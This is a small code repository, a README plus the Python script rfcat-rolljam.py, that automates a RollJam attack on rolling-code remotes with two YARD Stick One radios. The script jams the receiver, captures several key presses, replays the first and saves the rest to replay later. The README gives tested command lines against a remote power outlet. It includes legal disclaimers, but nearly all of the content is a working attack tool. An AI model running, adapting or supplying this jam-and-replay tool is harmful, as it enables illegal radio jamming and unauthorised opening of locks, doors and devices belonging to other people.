├── README.md └── rfcat-rolljam.py /README.md: -------------------------------------------------------------------------------- 1 | rfcat-rolljam 2 | ------------- 3 | rfcat-rolljam is a python script to "jam", capture, and replay rolling code signals using two yard stick one devices and rfcat. 4 | 5 | The name rfcat-rolljam is inspired by Samy Kamkar's RollJam which is a device that defeats rolling code security. This is done by jamming the receiver, capturing two or more remote presses, then stopping the jammer and replaying the first remote press saving the next capture in the rolling code series to replay later. The python code for rfcat-rolljam combines two projects that are already publicly available on Github that allow you to perform a rolljam like attack, it was just fairly clunky to do so requiring multiple scripts, this script simply combines everything into a single script that automates the process. It is up to you to follow all of the laws in your area. Jamming a signal is not legal in many areas. The author(s) of this code take no responsibility for your use or misuse of the script. If you choose to actually use the code you should do so in a controlled environment and only on equipment that you own. Please follow all local, state, federal, and international, and religious laws. 6 | 7 | The below commands have been tested by an anonymous user to perform a rolljam attack on a remote power outlet 8 | Capture and replay first code automatically: `python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io` 9 | Capture and wait for keypress to replay first code: `python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k` 10 | Load previous captures to replay: `python rfcat-rolljam.py -I capture.io` 11 | 12 | The original rolljam was created by Samy Kamkar https://samy.pl 13 | Jammer portion of the code is borrowed from Alex's rolljam repo https://github.com/alextspy/rolljam 14 | Scan and replay of the code is borrowed from Andrew Macpherson's RfCatHelpers https://github.com/AndrewMohawk/RfCatHelpers 15 | Combined and lightly modified into something similar to Samy Kamkar's original rolljam by Corey Harding from https://LegacySecurityGroup.com 16 | -------------------------------------------------------------------------------- /rfcat-rolljam.py: -------------------------------------------------------------------------------- 1 | #rfcat-rolljam is a python script to "jam", capture, and replay rolling code signals using two yard stick one devices and rfcat. 2 | # 3 | #The name rfcat-rolljam is inspired by Samy Kamkar's RollJam which is a device that defeats rolling code security. 4 | #This is done by jamming the receiver, capturing two or more remote presses, then stopping the jammer and replaying the first remote press 5 | #saving the next capture in the rolling code series to replay later. The python code for rfcat-rolljam combines two projects that are already 6 | #publicly available on Github that allow you to perform a rolljam like attack, it was just fairly clunky to do so requiring multiple scripts, 7 | #this script simply combines everything into a single script that automates the process. It is up to you to follow all of the laws in your area. 8 | #Jamming a signal is not legal in many areas. The author(s) of this code take no responsibility for your use or misuse of the script. If you choose 9 | #to actually use the code you should do so in a controlled environment and only on equipment that you own. Please follow all local, state, federal, 10 | #and international, and religious laws. 11 | # 12 | #The below commands have been tested by an anonymous user to perform a rolljam attack on a remote power outlet 13 | #Capture and replay first code automatically: python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io 14 | #Capture and wait for keypress to replay first code: python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k 15 | #Load previous captures to replay: python rfcat-rolljam.py -I capture.io 16 | # 17 | #The original rolljam was created by Samy Kamkar https://samy.pl 18 | #Jammer portion of the code is borrowed from Alex's rolljam repo https://github.com/alextspy/rolljam 19 | #Scan and replay of the code is borrowed from Andrew Macpherson's RfCatHelpers https://github.com/AndrewMohawk/RfCatHelpers 20 | #Combined and lightly modified into something similar to Samy Kamkar's original rolljam by Corey Harding from https://LegacySecurityGroup.com 21 | 22 | #!/usr/bin/env python 23 | 24 | import sys 25 | from rflib import * 26 | from struct import * 27 | import bitstring 28 | import operator 29 | import argparse 30 | import time 31 | import pickle 32 | 33 | parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam. Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0") 34 | parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int) 35 | parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int) 36 | parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int) 37 | parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) 38 | parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int) 39 | parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in') 40 | parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to') 41 | parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)') 42 | parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int) 43 | parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int) 44 | parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int) 45 | parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)') 46 | results = parser.parse_args() 47 | 48 | rawCapture = []; 49 | print "Configuring Scanner on Frequency: " + str(results.baseFreq) 50 | d = RfCat(idx=0) 51 | d.setMdmModulation(MOD_ASK_OOK) 52 | d.setFreq(results.baseFreq) 53 | d.setMdmSyncMode(0) 54 | d.setMdmDRate(results.baudRate) 55 | d.setMdmChanBW(results.chanBW) 56 | d.setMdmChanSpc(results.chanWidth) 57 | d.setChannel(0) 58 | d.setPower(results.power) 59 | d.lowball(1) 60 | 61 | print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset)) 62 | c = RfCat(idx=1) 63 | c.setMdmModulation(MOD_ASK_OOK) #on of key 64 | c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency 65 | c.setMdmDRate(results.baudRate)# how long each bit is transmited for 66 | c.setMdmChanBW(results.chanBW)# how wide channel is 67 | c.setMdmChanSpc(results.chanWidth) 68 | c.setChannel(0) 69 | c.setMaxPower() # max power 70 | c.lowball(1) # need inorder to read data 71 | 72 | time.sleep(1) #warm up 73 | 74 | if(results.inFile != ''): 75 | rawCapture = pickle.load(open(results.inFile,"rb")) 76 | if(len(rawCapture) == 0): 77 | print "No captures found" 78 | sys.exit() 79 | else: 80 | print "Loaded " + str(len(rawCapture)) + " captures" 81 | print "Send Phase..." 82 | c.setModeIDLE() 83 | emptykey = '\x00\x00\x00\x00\x00\x00\x00' 84 | d.makePktFLEN(len(emptykey)) 85 | d.RFxmit(emptykey) 86 | while True: 87 | try: 88 | for i in range(0,len(rawCapture)): 89 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() 90 | d.makePktFLEN(len(key_packed)) 91 | raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture))) 92 | d.RFxmit(key_packed) 93 | print "Sent " + str(i+1) + " of " + str(len(rawCapture)) 94 | except KeyboardInterrupt: 95 | print "Bye!" 96 | d.setModeIDLE() 97 | sys.exit() 98 | break; 99 | print "exiting." 100 | d.setModeIDLE() 101 | sys.exit() 102 | 103 | print "Jamming...." 104 | c.setModeTX() # start transmitting 105 | 106 | print "Scanning..." 107 | while True: 108 | try: 109 | 110 | y, t = d.RFrecv(1) 111 | sampleString=y.encode('hex') 112 | #print sampleString 113 | strength= 0 - ord(str(d.getRSSI())) 114 | 115 | #sampleString = re.sub(r'((f)\2{8,})', '',sampleString) 116 | if (re.search(r'((0)\2{15,})', sampleString)): 117 | print "Signal Strength:" + str(strength) 118 | if(strength > results.minRSSI and strength < results.maxRSSI): 119 | rawCapture.append(sampleString) 120 | print "Found " + str(sampleString) 121 | if(len(rawCapture) >= results.numSignals): 122 | break; 123 | 124 | 125 | 126 | 127 | except ChipconUsbTimeoutException: 128 | pass 129 | except KeyboardInterrupt: 130 | break 131 | print "Saving phase" 132 | outputCapture = rawCapture 133 | if(results.outFile != ''): 134 | pickle.dump(outputCapture, open(results.outFile,"wb")) 135 | print "Send Phase..." 136 | #print rawCapture 137 | emptykey = '\x00\x00\x00\x00\x00\x00\x00' 138 | d.makePktFLEN(len(emptykey)) 139 | d.RFxmit(emptykey) 140 | 141 | print 'Done jamming' 142 | if(results.waitForKeypress == True): 143 | time.sleep(.5) # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote 144 | # and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button 145 | # don't want to accidentally hop to next code 146 | c.setModeIDLE() # put dongle in idle mode to stop jamming 147 | 148 | if(results.waitForKeypress == True): 149 | raw_input(" Press enter to send first capture") 150 | print 'Replaying' 151 | key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes() 152 | d.makePktFLEN(len(key_packed)) 153 | d.RFxmit(key_packed) 154 | print "Sent capture 1" 155 | 156 | while True: 157 | try: 158 | for i in range(1,len(rawCapture)): 159 | 160 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() 161 | raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture))) 162 | d.makePktFLEN(len(key_packed)) 163 | d.RFxmit(key_packed) 164 | print "Sent capture " + str(i+1) + " of " + str(len(rawCapture)) 165 | except KeyboardInterrupt: 166 | print "Bye!" 167 | d.setModeIDLE() 168 | c.setModeIDLE() # put dongle in idle mode to stop jamming 169 | sys.exit() 170 | break; 171 | print "exiting." 172 | d.setModeIDLE() 173 | c.setModeIDLE() 174 | --------------------------------------------------------------------------------